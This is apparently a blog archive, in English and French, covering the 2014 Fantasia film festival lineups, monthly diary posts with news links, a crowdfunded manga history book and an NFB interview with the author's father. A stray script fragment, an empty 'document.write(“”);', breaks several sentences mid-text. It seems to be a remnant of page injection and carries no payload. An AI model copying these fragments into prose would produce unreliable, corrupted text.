Philippines, Dir : Alfonso Torre III. Following a haunting dream, a felon-turned-fisherman finds a shipment of methamphetamine — and soon finds himself trapped in a nightmare. One of the most powerful, lasting genre films to come out of the Phillipines in recent year. Quebec Premiere.

THE MOLE SONG – UNDERCOVER AGENT REIJI
Japan, Dir: Takashi Miike. Disgraced cop Reiji Kikukawa is sent undercover to infiltrate the most powerful yakuza clan in Japan. With its marvellously absurd humour and contagious energy, THE MOLE SONG marks Miike’s magnificent return to comedy! Quebec Premiere.

MR. GO
South Korea/China, Dir: Kim Yong-hwa. Teenage Weiwei brings her gorilla with a powerhouse swing to the Asian baseball scene, to save her family’s debt-ridden circus. Korea’s first 3D blockbuster, an ambitious pan-Asian production, hits a home run! Canadian Premiere.

NUIGULUMAR Z (Gothic Lolita Battle Bear)
Japan, Dir: Noboru Iguchi. Get ready for sugar and spice and everything nice — set on maximum slice and dice! Cosplay and kawaii collide with Japanese sci-fi superheroics and zombie gore in GOTHIC LOLITA BATTLE BEAR! Canadian Premiere.

REAL
Japan, Dir: Kiyoshi Kurosawa. The Escher-like subconscious mindscape of a loved one becomes a spirit-laden underworld to explore in this bizarre, surreal, supremely beautiful sci-fi melodrama from Kiyoshi Kurosawa. Quebec Premiere.

RUROUNI KENSHIN – KYOTO INFERNO
Japan, Dir: Keishi Otomo. Long awaited sequel of the live action movie RUROUNI KENSHIN (2012) has finally arrived! Based on the best-selling manga series of the same title, this two-part film revolves around Kenshin’s desperate struggle to protect the nation and the people he loves from the conspiracy of Shishio, a former government assassin and Kenshin’s notorious successor, to overthrow the government. International Premiere. [See more details on ANN]

THE SNOW WHITE MURDER CASE
Japan, Dir: Yoshihiro Nakamura. Playing out like an endlessly fragmented retelling of RASHOMON for the digital age, the latest from Yoshihiro Nakamura (FISH STORY, GOLDEN SLUMBER) is a strikingly modern whodunit. Quebec Premiere.

THE SPY: UNDERCOVER OPERATION
South Korea, Dir: Lee Seung-jun. Elite operative Agent Kim must keep a second Korean War from breaking out — and his marriage from breaking apart! Equal parts zany rom-com and intense thriller, THE SPY is a mirthful mash-up of gritty gunplay and goofball gags. Canadian Premiere.

THE SUSPECT
South Korea, Dir: Won Shin-yeon. A North Korean super-soldier turned defector is drawn into a morally murky maelstrom of secrets, lies and sudden, furious yet precise violence. A tough, tight political action thriller with a soul. Canadian Premiere.

THERMAE ROMAE II
Japan, Dir: Hideaki Takeuchi. Time-travelling Roman bathhouse architect Lucius returns! Funnier, more grandiose and irreverent, this second journey from Ancient Rome to modern Japan, care of director Hideaki Takeuchi, is frankly spectacular. International Premiere.

UZUMASA LIMELIGHT
Japan, Dir: Ken Ochiai. Old Kamiyama the swordfight-death specialist is a legend around Kyoto’s Uzumasa Studios, but his star, however small it ever was, has dimmed. A journey into the inner workings of Japanese pop entertainment, in its golden era and today. Canadian Premiere.

ZOMBIE TV
Japan, Dir: Maelie Makuno, Naoya Tashiro, Yoshihiro Nishimura. Ever dreamed of zombie-only cable TV, broadcasting all things putrefied, decomposing and brain-hungry, 24 hours a day, all year round? A severed-tongue-firmly-planted-in-rotten-cheek, all-you-can-eat zombie-party anthology from Yoshihiro Nishimura and co. Canadian Premiere.

FANTASIA GUEST LIST BRINGS THE BEST OF GENRE FILM TO MONTREAL

This year Fantasia continues its tradition of inviting the best and brightest genre filmmakers from around the world to the city of Montreal. The festival is proud to host more than 76 directors, producers and actors coming to Fantasia to premiere their films at the festival’s 18th edition. Fantasia will welcome filmmakers from all over the globe, from countries ranging from Brunei, Japan, and South Korea, to France and the Netherlands. In total, this year Fantasia will host more than 400 film industry professionals from around the world.

Special festival guest from Asia will includes: Asami (Cult actress for Gun Woman), Noboru Iguchi (dir. for Nuigulumar Z), Jang Joon-hwan (Korean filmmaker for Hwayi: A Monster Boy), Hiroyoshi Koiwai (Executive Producer for Rurouni Kenshin: Kyoto Inferno), Kurando Mitsutake (Director/Writer for Gun Woman), Mamoru Oshii (Director for Ghost in the Shell, will receive a Fantasia Lifetime Achievement Award for his unparalleled career in animation), and Keishi Otomo (Director/Co-Writer for Rurouni Kenshin: Kyoto Inferno).

THE 3RD EDITION OF THE FANTASIA INDUSTRY RENDEZ-VOUS

For a third consecutive year, the Fantasia International Film Festival has organized an event to host members of the international film industry at the festival: The Fantasia Industry Rendez-Vous. From July 24 to 27, producers, directors, sales agents, distributors and talent agents from here and afar will converge in Montreal to develop film projects, as well as sell and buy films from Fantasia’s programming. The 2014 edition of the Rendez-Vous will attract 280 participants. The principal activity of the Industry Rendez-Vous is the Frontières International Co-Production Market, the first market to focus specifically on genre film co-production in-between North America and Europe.

Once again, a series of conferences have been organized within the Industry Rendez-Vous. The subjects that will be explored are: Shooting in Quebec, Early Production Involvement of Post-Production Partners, Creating a Proof-of-Concept Video for Financing and Presales, and Lessons Learned in Crowdfunding and Crowdsourcing. The conferences are open to the general public. Frontières also offers a consultancy service with professionals in independent production, film sales, festival programming and merchandising, available free of charge to market participants.

The Fantasia International Film Festival takes place in Montreal July 17 – August 5, 2014. For this year’s edition and onwards, Fantasia will be returning to the freshly renovated Concordia Hall Cinema as its main base, which now features an even larger screen, new seating and upgraded projection and sound.

The full press release can be found here. You can also find more information on the festival website.

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June in review

July 8, 2014 / Clodjee / Leave a comment

June seemed like a very nice month (as good as May usually is) although we had a few days of heavy rain (my garage was flooded a couple of time: on the third, on the thirteen, but the worse was on the twenty-fourth and twenty-fifth). Despite all this, I was able to finish repairing and painting the garage door. The garden also started to blossom in many colours. The Mom alley-cat that took up residence in the garden’s shed (and who gave us Caramel last year) gave birth to another litter of kittens but was later chased from the shed by an invasion of raccoons!

I’ve complained many time to the city (using the official info and complain phone line) about the sidewalk’s defect that cause the rain water to go to my driveway instead of the sewage’s gutter and therefore flooding my garage. In three years nothing was done. Taking advantage of some errands near the borough Hall, I decided to pay a visit to my elected official. He was not there but I spoke with his assistant and explained the problem. She suggested that I email them pictures (which I did right away) and, to my great surprise, less than a week later there was city workers making markings on the sidewalk to prepare it for the repair!! Another week later some workers came back to cut the concrete. I expect the repair to be done soon… Now I know what to do to get results.

In june I also started working in a new location. I felt right away that the adaptation to this new work place would take some time. I have to learn a new routine and every place has its own particularities. However, a month into this new job, I must admit that I am quite disappointed. I remembered the place as very well organized, operating smoothly and quietly. Either I remembered wrong or something changed (well, a rapid succession of changes in management can fuck up the best of organization). I like the team, the place is indeed much more quieter and I now save between fifteen and thirty minutes on my commute, but so far I haven’t been given any specific tasks, the work flow is extremely disorganized and chaotic and the reduced staff and budget means that we are always running to keep up with what needs to be done. Not much time to relax, so it is even more stressful and tiring that the previous place! I am not sure I made the right move… I still have time to adapt, but as soon as it’s possible (I can’t move for another year) I will start applying to other jobs in the hope of finding the dream job or at least something even closer to home.

The end of june and early july brought a heat wave with temperature around 30’C (going over 40′ with the humidex)! We had many weeks without any rain, but it ended today. Hopefully, the rain won’t last too long. I took another couple of weeks of vacation to travel a little, do some work around the house and catch up with my writing (if I ever can!). My first day off, I was so tired that I slept for nearly twelve hours! I haven’t done that in a long time. I started updating my “Essential anime and manga references” moving it from the Protoculture website to my blog and adding more titles to this bibliography. I am planning on posting reviews for all those references (either updating the reviews that were previously published in PA, using some texts that had never been published before [like for the Dico Manga] or simply write new ones). I also wrote comments on the second volumes of Joséphine Impératrice and Le guide du mauvais père (both in french). It feels great! I hope to be able to keep that pace all summer.

Before the rain, I experienced a few of those perfect days of july. It reminded me of my childhood: a slight breeze in the trees, the songs of unseen birds, the distant shouts of children playing in the neighbourhood, the sun reflecting on the water. It brings back a feeling of deep quietness and idleness. Something that the europeans call farniente, I think. Unfortunately, in this busy life, it is only a fleeting sensation…

Not much happened in the news, but I nevertheless gathered a few worthy links that I gladly share with you after the jump:

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Tip of the Day: Take Easy Silhouette Shots with Your iPhone Camera (iPhone Life)
Apple launches new cheaper iMac, starting at $1,099 (The Verge)
Evidence of iPhone 6 Atmospheric Pressure Sensor Found in iOS 8 (Mac Rumors)
Apple TV likely to gain Continuity this fall, allowing tighter integration with Mac & iOS (9 to 5 Mac)
How to partition your Mac to test OS X Yosemite (iMore)
Significant enhancements coming to AppleCare+, Apple IDs, iOS support (9 to 5 Mac)
Report: iOS 8 will offer full manual camera controls (GigaOM)
Cat Scratch Fever: The complete Friskies iOS cat app library (TUAW)
Apple Smart Home Products (Business Insider)
iMovie for Mac updated with stability improvements and bug fixes (9 to 5 Mac)
Mac 101: Using QuickTime to record video of your Mac’s screen (TUAW)

Books, Digital Edition & Libraries

How to Quit Amazon and Shop in an Actual Bookstore (Esquire)
Seriously though, how did the Most Beautiful Library in America get Demolished? (Messy Nessy Chic)
Québec jette aux oubliettes l’idée du prix unique du livre (RC)
Small presses fill a niche in books about Japan (The Japan Times)
I Was a Digital Best Seller! (NYT)
Québec rejette clairement toute réglementation sur le prix du livre (Le Devoir)
Comment lire la loi 51 (Le Devoir)

Economy, Environment & International/U.S. Politics

Twin Tornadoes Pummel Northeast Nebraska, Killing One (NBC)
Le pacifisme aux oubliettes (Le Devoir)

Health, home & garden

L’eau de Montréal: Réglementation usages de l’eau (Lien, Dépliant [PDF], Règlement 13-023 [PDF])

Library Humour

Media, Culture, Entertainment & Society

La télé en baisse, le numérique en hausse (Le Devoir)
‘Doctor Who’ Season 8 Premiere Set (ICv2)
Another ‘Pacific Rim’ Movie (ICv2)
Elementary! Sherlock returns for fourth season plus Christmas special (Cult of Mac)
La tentation « hikikomori » (Le Monde)

Movie Festivals

Fantasia announces a first wave of 2014 programming! (Lien)
Fantasia announces a 2nd wave of 2014 titles! (Lien)
Le FFM joue le tout pour le tout (Le Devoir)
Éditorial: Un actif à conserver (Le Devoir, version complète sur la page Facebook du FFM)
SODEC et FFM: dur divorce (La Presse)
Pas de dernière chance au FFM (La Presse)
FFM: fin de l’ère Losique-Cauchard (La Presse)
Subvention du FFM: les analystes irrités (La Presse)
Il était temps (La Presse)

Sciences & History

Le volcan du mont Fuji dans un « état critique » après Fukushima (Le Monde)
La ville fantôme de la conquête aztèque (Le Monde)
Un mystère astronomique de 470 millions d’années (Le Monde)

Technology, Gadgets & Internet

Nest Protect Smoke and Carbon Monoxide Detectors Return to Shelves With Lower $99 Price Tag (MacTrast)
First Electric Harley Goes Zero to 60 in 4 Seconds (NBC)
Harley-Davidson unveils its first electric hog (CNN)
Review: Anker TC930 Ultra-Thin Keyboard Cover for iPad Air (iPhone Life)
Google’s Nest Buys Dropcam for $555 Million (Re-code)
Honeywell’s Lyric thermostat is a worthy Nest competitor (Engadget)
Crock-Pot Smart Slow Cooker: iPhone control of a kitchen classic (TUAW)

Union stuff & Montreal’s libraries

Un feu de camp pour le droit de négocier (Le Devoir)
?Jugement pompier (Métro)
Régime minceur à Montréal (Le Devoir)
Caisses de retraite: les Cols blancs se lèvent (SFMM)
Manifestations de 15 minutes dans plusieurs municipalités du Québec (SFMM)
Plus de 1 100 Cols blancs votent en faveur de moyens de pression (SFMM)
Régimes de retraite: Coderre est satisfait du projet de loi (Canoe)
Réseau des bibliothèques publiques de Montréal: Le libre-service (Lien)
L’hypocrisie de nos élus (Le Devoir)

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Fantasia announces a second wave of 2014 titles

July 1, 2014 / Clodjee / Leave a comment

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The Fantasia International Film Festival is proud to unveil additional highlights to their 2014 film lineup.

Official Closing Film – Abel Ferrara’s WELCOME TO NEW YORK

Fantasia will close its 2014 edition with the North American Premiere of Abel Ferrara’s WELCOME TO NEW YORK, document.write(“”); the controversial latest from the legendary filmmaker behind such landmarks as BAD LIEUTENANT, KING OF NEW YORK, NEW ROSE HOTEL and the recently re-released MS 45. It is loosely based on the DSK scandal and stars the iconic Gérard Depardieu in one of the bravest performances of his career. Co-starring is the equally sensational Jacqueline Bisset.

JU-ON: THE BEGINNING OF THE END to launch its Western haunt in Montreal

Fans of classic J-Horror, rejoice! The curse of Kayoko and Toshio is back! Fantasia will be the site of the International Premiere of JU-ON: THE BEGINNING OF THE END, the anticipated new Japanese production that reboots one of the most successful and terrifying horror franchises of the 21st century in a very wise way: by remaining faithful to the original material. Director/Co-Writer Masayuki Ochiai (HYPNOSIS) brings us back to the haunted house and reinstates, slowly but surely, its oppressive atmosphere through a refined and efficient use of mise-en-scene. Co-scripted by none other than Taka Ichise.

A Subterranean New Section in our Programming

Fantasia is proud to announce the creation of a new section of programming, Fantasia Underground, dedicated to showcasing outrageous indie outsider visions created in the counter-cultural spirit that we associate with classic underground film works. It will sport four features, from Canada, USA and one from Japan:

HANA-DAMA: THE ORIGINS
Japan, Dir: Hisayasu Sato. A seemingly mundane high-school bullying drama builds into a cathartic and absurd farce of excessive, bloody, colourful revenge and retribution, care of underground cinema legend Hisayasu Sato (NAKED BLOOD, LOVE & LOATHING LULU & AYANO), co-scripted by Shinji Imaoka (of the demented pinku musical UNDERWATER LOVE). A poignant and strange social critique of girl-on-girl violence and institutional abuse at large. North American Premiere.

Additional 2nd Wave Highlights (films from Asia)

DANCING KARATE KID
Japan, Dir: Tsukasa Kishimoto. Jaw-dropping dance numbers, a flood of jokes amongst the funniest you’ll see all year and eye-popping action scenes are all part of DANCING KARATE KID, an off-the-chain action-comedy blending martial arts and musical moves. Official Selection: Hawaii International Film Festival. Canadian Premiere.

FROM VEGAS TO MACAU
Hong Kong, Dir: Wong Jin. The King of Cool, Chow Yun-Fat, is back in a signature role he made famous in the classic GOD OF GAMBLERS (seen way back at Fantasia Year One!). A royal flush of comical action madness in Wong Jing’s trademark Hong Kong style, co-starring Nicholas Tse and Chapman To. Canadian Premiere.

FUKU-CHAN OF FUKUFUKU FLATS
Japan, Dir: Yosuke Fujita. One part quirky slapstick absurdity and two parts poignant character study, FUKU-CHAN is the feelgood, laugh-out-loud indie comedy hit of this year’s fest, mixing humour and pathos in the way only fan-favourite Yosuke Fujita (FINE, TOTALLY FINE) can. Official Selection: Frankfurt Nippon Connection Festival, New York Asian Film Festival. Canadian Premiere

INGTOOGI: THE BATTLE OF INTERNET TROLLS
South Korea, Dir: Um Tae-hwa. “Koolkidneyz” and “Manboobs” take their online feud into the real world. INGTOOGI is a deep dive into the national geek consciousness of South Korea, an upbeat outsider comedy that evolves into a truly heartfelt story of alienation and loss. Writer/Director Um Tae-hwa shed a dark light on the social media generation in a very promising first feature. International Premiere

JELLYFISH EYES
Japan, Dir: Takashi Murakami. A lively celebration of the Japanese pop-culture tropes that feed the Superflat sensibility of pop-art superstar Takashi Murakami, his JELLYFISH EYES is also a heartfelt critique of Japan’s institutions in the era of Fukushima. This is a gorgeous and enchanting family friendly film with an edge that makes it a must see for film lovers of all ages. Official Selection: Sitges Film Festival. Canadian Premiere

KUNDO: AGE OF THE RAMPANT
South Korea, Dir: Yoon Jong-bin. In a time of turmoil and tyranny, a band of outlaws rises against the nobility. From the director of NAMELESS GANGSTER, a rough and ruthless adventure epic with a universal theme – righteous fury in the face of deep injustice with a stellar cast featuring Ha Jung-woo (THE CHASER) and Gang Dong-won (HAUNTERS). Quebec Premiere

3D NAKED AMBITION
Hong Kong, Dir: Lee Kung Lok. Fresh from the international festival rounds in Hong Kong, New York and Udine, this hairy beast finally comes to country of the beaver with a hardcore vengeance. This stand-alone satire sequel written by Hong Kong’s funniest writers, Chan Hing- Kar (BREAKING NEWS) and Ho Miu-Kei, mercilessly pokes fun at the adult industry, celebrity and Asian culture on all fours while retaining a socially relevant subtext. Canadian Premiere.

NO TEARS FOR THE DEAD
South Korea, Dir: Lee Jeong-beom. In the tradition Luc Besson’s THE PROFESSIONAL and and John Woo’s THE KILLER, a guilt-wracked assassin sides with his target in the hotly anticipated new film from Lee Jeong-beom (THE MAN FROM NOWHERE), a whirlwind of furious action scenes. Quebec Premiere

Fantasia 2014 gives a greater place to Quebec cinema

Returning for its sixth edition in the Fantasia International Film Festival, the Fantastic Weekend of Quebec Cinema offers an even more prominent place to Quebec cinema while remaining committed to the promotion of short film with over 160 premieres! This new edition sees the birth of the Genres du pays offering some titles of Quebec cinema that have shaped our cinematic history. Come and discover five classic presented in collaboration with the Cinémathèque québécoise. In addition, the Fantastic Weekend is proud to present six WAPIKONI MOBILE productions distributed throughout the programming. It will also offers a look at emerging filmmakers with two conferences bringing forward the creativity of young Quebec filmmakers

The festival’s full lineup of screenings and events will be announced on July 10.

The full press release can be found here. You can also find more information on the festival website.

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Découverte: Histoire(s) du manga moderne

June 22, 2014January 29, 2018 / Clodjee / 3 Comments

J’ai découvert Histoire(s) du manga moderne (1952-2012) un peu plus tôt cette année lorsque l’un des auteurs, Matthieu Pinon, m’a contacté pour m’en parler et obtenir quelques commentaires de ma part. Je n’ai pas osé en parler tant que l’annonce n’était pas officielle mais c’est maintenant fait puisque Animeland l’a mentionné à la fin mai, puis encore au début juin avec quelques précisions. Le magazine Coyote en a également parlé.

Deux spécialistes français du manga, Matthieu Pinon et Laurent Lefebvre (contributeur à Animeland et Coyote), nous proposent un nouvel ouvrage sur l’histoire du manga. Les ouvrages sur ce sujet sont déjà nombreux mais je crois qu’il n’y aura jamais trop de références sur le manga, particulièrement quand il s’agit d’un ouvrage au concept intéressant et innovateur. En effet il n’y a pas encore d’ouvrage en français sur l’histoire du manga au Japon avec une présentation strictement chronologique.

Après une brève introduction retraçant l’origine du manga et le contexte socio-économique qui favorisa son expansion dans les années 50, le coeur de l’ouvrage nous offrira 60 double-pages (une par année) avec à gauche l’histoire du manga cette année-là (tendances, faits marquants, etc.) et à droite un focus sur un auteur qui s’est particulièrement illustré durant la même période. Il se conclura avec quelques articles thématiques traitant des développements récents et des nouveaux enjeux de l’industrie. Il est décrit comme “un livre accessible à tous (passionnés et profanes) expliquant 60 ans de BD japonaises (1952 – 2012) grâce à une mise en page originale et didactique.”

C’est très prometteur et définitivement le genre d’ouvrage que j’aimerai lire ou même avoir dans ma bibliothèque de références manga.

Une campagne de financement populaire (crowdsourcing) a été lancée pour amasser les 7500€ nécessaire pour la publication. Cette campagne durera jusqu’au 13 juillet. Pour soutenir le projet ou pour en savoir plus sur ce merveilleux ouvrage, vous pouvez visiter la page officielle.

Histoire(s) du manga moderne (1952-2012), par Matthieu Pinon et Laurent Lefebvre, illustrée par Nicolas Hitori De. 160 pages tout en couleurs, 24 x 27 cm, 25.00 €. Sortie fin 2014 en version française ET anglaise, format papier et électronique (eBook)!

Une vidéo décrivant le projet est également disponible sur Vimeo:

[ Translate ]

ONF: 61 portraits d’artisans du cinéma

June 22, 2014 / Clodjee / 1 Comment

Pour son 75e anniversaire, document.write(“”); l’Office National du Film du Canada a créé un site interactif (en Flash malheureusement) qui présente une histoire du cinéma Canadien en 61 portraits vivants où sont interviewés des artisans de tout les métiers du cinéma.
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Voici l’un de ces portraits: celui de mon père, Claude E. Pelletier, qui a été pendant trente ans preneur de son à l’ONF.

Comme le site de l’ONF est fait en Flash, il ne fonctionne pas sur les plateformes mobiles d’Apple (iPad, iPod, iPhone) et il est impossible de créer des hyperliens vers une section en particulier du site. Alors j’ai choisi d’extraire l’interview de mon père pour le rendre disponible sur mon blog (via Vimeo). Prenez note que tout le contenu est © Office National du Film.

Vous pouvez visionner tous les autres portraits sur ONF/interactif: Une histoire du cinéma – 61 portraits vivants.

The english version is available on NFB/Interactive: Making Movie History – A Portrait in 61 Parts.

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Fantasia announces a first wave of 2014 programming

June 20, 2014 / Clodjee / Leave a comment

The 18th annual Fantasia International Film Festival is gearing up to take Montreal by storm with three weeks of inspiration and excitement starting July 17 until August 5, document.write(“”); 2014. The full 2014 lineup of programming and special events will be revealed shortly, but in the meantime, here’s an early First Wave Announcement of several selected highlights and info to whet your appetite.
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First, Fantasia will pay tribute to three legendary figures of the fantastic genre: Ray Harryhausen, Ray Bradbury and Forrest J. Ackerman. Through their work and energy, they have inspired many of the leading figures of genre cinema in recent decades.

Fantasia is also unveiling the 2014 poster art, inspired by an old legend from Québecois folklore: La Chasse Galerie (otherwise known as “the Bewitched Canoe”). It was created by award-winning Quebec illustrator Donald Caron.

The opening film has also been announced. Fantasia 2014 will launch with the Canadian premiere of JACKY IN THE KINGDOM OF WOMEN (Jacky au royaume des filles), a sharp political satire from comic book genius Riad Sattouf (LES BEAUX GOSSES) that took the Rotterdam Film Festival by storm.

Fantasia will hold a special screening of the hotly anticipated new instalment in the Marvel Cinematic Universe: GUARDIANS OF THE GALAXY.

Now with the announcements that are more in our sphere of interests:

A LIFETIME ACHIEVEMENT AWARD FOR MAMORU OSHII

A towering and truly unique figure in Japanese animation, director Mamoru Oshii will be a recipient of Fantasia’s Lifetime Achievement Award. From pioneering OVAs DALLOS and the haunting ANGEL’S EGG, and of course the beloved PATLABOR series, of the 1980s, through the dramatically influential global hit GHOST IN THE SHELL in the mid-’90s, to its award-winning sequel and other powerful, pensive works in the new millennium (SKY CRAWLERS, AVALON), Oshii has consistently strived to bring new ideas and in fact a whole new attitude to anime. With his meticulous and idiosyncratic near-future thrillers and dramas, linked by persistent themes, motifs and concerns, Oshii asserts a complex, deeply thoughtful and decidedly adult sensibility — while maintaining the highest technical standards in the field (and hardly confining his efforts to animation). In seeking a path to call his own, Oshii has blazed a trail for fantastic entertainment worldwide to follow.

Mamoru Oshii will be receiving his award on our opening night, July 17, before a special screening of the new HD master of GHOST IN THE SHELL, being re-issued by Manga Entertainment and Anchor Bay Entertainment in celebration of the 25th Anniversary of the original manga’s publication. This will be the first time the GITS HD print has been made available outside of Japan, lovingly restored, unadulterated and awe-inspiring in its beauty.

Fantasia also announced part of it line-up. The Asian movie to be presented in 2014 includes:

CROWS EXPLODE
Japan Dir: Toshiaki Toyoda
Fists will fly and beatings will abound, but the greatest battles are always in the hearts of the sneering, delinquent punks of the notorious Suzuran All-Boys High School. After Takashi Miike, it’s now BLUE SPRING director Toshiaki Toyoda’s turn to make a knuckle mark on the CROWS ZERO franchise. North American Premiere

GIOVANNI’S ISLAND
Japan Dir: Mizuho Nishikubo
A gracefully executed anime from Production I.G, examining the struggles of the Japanese in the immediate aftermath of World War II, from the perspective of a child. As beautiful as it is devastating, GIOVANNI’S ISLAND received a Jury Mention at the prestigious Annecy International Animation Film Festival. Canadian Premiere

HAN GONG-JU
South Korea Dir: Lee Su-jin
A troubled teenage girl flees her past — is she guilty or a victim? A multiple prize winner, notably attaining the Silver Tiger Award at this year’s Rotterdam International Film Festival, HAN GONG-JU is a magnificent yet devastating debut feature of incredible narrative virtuosity. Canadian Premiere

THE HUNTRESSES
South Korea Dir: Park Jae-hyun
A trio of daring and dangerous bounty-hunting beauties find themselves in a high-risk, high-stakes game of subterfuge and swordplay in medieval Korea. A rousing and fast-paced action-adventure with a dash of romance and a barge-load of slapstick laughs! International Premiere

KILLERS
Indonesia/Japan Dir: The Mo Brothers
Two serial killers. One likes to kill, the other seeks justice. The problem is, the first one is mentoring the latter… Social media will bring a storm of blood over both Tokyo and Jakarta in this shocking yet incredibly smart horror thriller in the vein of THE CHASER and COLD FISH that floored audiences at Sundance. Canadian Premiere

LIVE
Japan Dir: Noboru Iguchi
When his mother is kidnapped and a stranger calls, Naoto is thrust into a public triathlon of death. DEAD SUSHI director Noboru Iguchi’s running go at the survival-race genre is loveably lurid, super-sanguinary fun. North American Premiere

MISS GRANNY
South Korea Dir: Hwang Dong-hyeuk
74-year-old grandmother Oh Mal-soon has been magically transported into the body of her 20-year-old self. Seizing the opportunity to relive a youth she sacrificed in the name of her child, she sets out to explore a world of new possibilities. And it includes K-Pop… Canadian Premiere

MONSTERZ
Japan Dir: Hideo Nakata
A sinister sociopath with psychic powers squares off against a cheerful everyman with a secret of his own. The 2010 South Korean superhero/horror hybrid HAUNTERS, remade by Japanese cult director Hideo Nakata (RINGU), with stars Tatsuya Fujiwara (SHIELD OF STRAW) and Takayuki Yamada (CROWS ZERO). Canadian Premiere

ONCE UPON A TIME IN SHANGHAI
Hong Kong Dir: Wong Ching-Po
Opium and kung fu! The glory days of old Shanghai — or are they? Two generations of true kung fu experts collide in the spectacular martial arts feast, with breathtaking choreography by Yuen Woo-Ping and Yuen Cheung-Yan! Canadian Premiere

PUZZLE
Japan Dir: Eisuke Naito
The staff and students at Noriaki Hill High School have been given a game to play, one in which mistakes can be fatal. A giddy, gory brain-twister of a teen survival thriller, in which vengeance is as much a first step as a final solution. North American Premiere

SWEET POOLSIDE
Japan Dir: Daigo Matsui
Two swim-team members, a hairless boy and a hirsute girl, discover the pangs and tangles of first love in SWEET POOLSIDE, one of the most astute examination of adolescence to screen in a long time. North American Premiere

THE WHITE STORM
Hong Kong Dir: Benny Chan
Hopping from Hong Kong to Thailand to Macau, blending hard-hitting action with powerful drama, Benny Chan’s vividly stylish THE WHITE STORM is a sprawling, absorbing crime flick in the classic Hong Kong tradition. Canadian Premiere

The festival’s full lineup of screenings and events will be announced on July 10.

The full press release can be found here. You can also find more information on the festival website.

[ Traduire ]

May in review

June 14, 2014 / Clodjee / Leave a comment

Spring was late and therefore seasonal temperature (sunnier and temperature more around 20′ C) came nearly two weeks later than usual (from May 11th). We use to say that May is the nicest month of the year, document.write(“”); but it really became true at the end of the month (and even early June!). Buds were starting to open, but it felt strange in May to still see the browns of bare trees with no leaves in them. However, by the middle of the month, with the first thunderstorms of the year, the landscape quickly exploded with greens.
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I had to deal with a lot of anxiety in May. I couldn’t take it anymore at my job (I liked the team, the place, the job itself, but the long commuting hours and unruly teenagers where making my life impossible). I was on the verge of depression and needed to do something. However, the prospect of a new workplace (slightly closer from home, quieter) was also a source of apprehension. Was I making the right decision (I am still not sure) ? All this was translating into various body pains (back, chest, jaw, digestion problems, general discomfort, etc.).

Also we’ve been in the new house for over two years now and did very little work, so I really needed to get going with the repairs and improvements. I took two weeks off toward the end of the month for that purpose. First I wanted to repair and paint the garage door, but simply replacing the broken door-opener revealed quite a saga (the installation guy had to come THREE times and I had to hire an electrician to move a light fixture and install an electrical outlet).

As usual I started my vacations with a cold, watch too much TV and ended up doing only half of what I planned (the weather was not so bad, but I spent lots of time waiting for the workmen). I wrote only one manga comment (Joséphine Impératrice, vol. 1). No time left to visit museums with my wife and it was raining on the day we were planning to go to the botanical garden. But at least I finished the garage door and got the ball rolling with the house repairs… However, I better get going because there is still a lot to do for the remaining part of the summer!

Not much happened on the world stage (or was I too busy to notice anything ?). I got mostly interested with Apple WWDC keynote. The announcement was very promising, but also quite disappointing as they announced only software products (OS X 10.10 Yosemite and iOS 8, both due in fall) and absolutely NO hardware (I was expecting to see updates for the iPhone, Mac-Mini and AppleTV). But it was to be expected at a developers’ conference. While reading online I nevertheless gathered over a hundred news links that you’ll find just after the jump:

Anime & Manga related, Japan, Popular Culture

Disney Acquires Doraemon Rights (ICv2)
Glénat se met au numérique (Animeland, Glénat)
Un nouveau volume pour La Rose de Versailles (Animeland)
Top 300 Graphic Novels for April 2014 (ICv2)
VIZ Gets Sailor Moon Anime (ICv2)
RIP H.R. Giger (ICv2)
Japan girl group AKB48 attacked by male fan with saw (BBC)
Histoire du manga moderne : Le projet avance (Animeland, lien de “Crowd-sourcing” et page officielle)
Calvin & Hobbes‘ creator has been secretly drawing this comic strip (Gizmodo):
VIZ Manga Now on comiXology starting with 500 Volumes (ICv2)
The World of Ice & Fire: Martin’s Historical Game of Thrones Companion Book (ICv2)

Apple, apps and mobile devices news

Belkin Announces the Release of The QODE Thin Type Keyboard for The iPad Air (MacTrast) [Yikes! $100 ?]
Fantastic Library lets you easily catalog books, movies, music and games (TUAW)
Sync your iOS Photo Stream with Flickr, Dropbox or anything else (Cult of Mac)
iPad Rumors: iOS 8 to Bring Split-Screen Multitasking (iMore)
Apple Posts WWDC Schedule: Keynote June 2, Expect iOS 8 Demo and Possible Hardware Announcement (iPhone Life)
Apple reportedly working on smart home features for iPhone (The Verge, 9 to 5 Mac, Mac Rumors)
What to Expect from Apple’s Keynote Monday at WWDC (iPhone Life)
Apple Products In 2014 (Business Insider)
Vidéotron dévoile sa nouvelle application pour iPad (Journal de Québec, TVA, Communiqué de presse, MacQuébec)

Apple: the 2014 WWDC keynote announcements

Apple unveils iOS 8 at WWDC (CNN)
The 22 most important things Apple announced at WWDC 2014 (The Verge)
8 huge new features in iOS 8 that Apple didn’t talk about today (The Verge)
Everything you need to know about iOS 8 (Cult of Mac)
WWDC 2014: Video of Keynote Now Available (Mactrast)
What to know before downloading the iOS 8 Beta (TUAW)
Apple announces new Photos app for Mac (9 to 5 Mac)
Apple announces new iCloud pricing: 5GB free, 20GB for $1-month, 200GB for $4-month, up to 1TB (9 to 5 Mac)
iOS 8: Our Complete Overview and First Impressions (MacStories)
iOS 8 and OS X Yosemite will change the way you do photography (Cult of Mac)
WWDC 2014 keynote now available on YouTube (9 to 5 Mac):
How to install Yosemite right now without ruining your Mac (Cult of Mac)
HealthKit supports some Bluetooth products natively, lets accessory makers skip app development (9 to 5 Mac)
Why iOS 8 matters (USA Today)
Photogs will fall in love with iOS 8’s time-lapse feature (Cult of Mac)

Books, Digital Edition & Libraries

Why These Children Are Reading to Homeless Cats (Huffington Post)
Topless Pulp Fiction Appreciation Society takes off! (The Guardian)
Le coeur aux ouvrages (Le Devoir)
With iBooks tied up by courts, Amazon runs roughshod over publishers (iMore)
L’art de mettre en images la tragédie des pays arabes (Le Devoir)
New U.S. Ambassador to Switzerland Swears Oath on an E-Reader (NBC)
Really? Are We Still Genre Shaming People For The Books They Like? (io9)
Des livres numériques piratés dans des écoles (Le Devoir)

Economy, Environment & International/U.S. Politics

Antarctic glaciers melting ‘passed point of no return’ (USA Today)
A Wind Turbine Inside A Floating Blimp Can Bring Power Anywhere (Co.Exist)
Hunger Games salute used as protest in Thailand (AP)
The Death And Decay Of Detroit, As Seen From The Streets (Zero Hedge)
A Point of View: Taking England back to the Dark Ages [on Scotland indepedence] (BBC)

Health, home & garden

Your Computer Downtime Could Help Crack the Alzheimer’s Code (Re-Code)
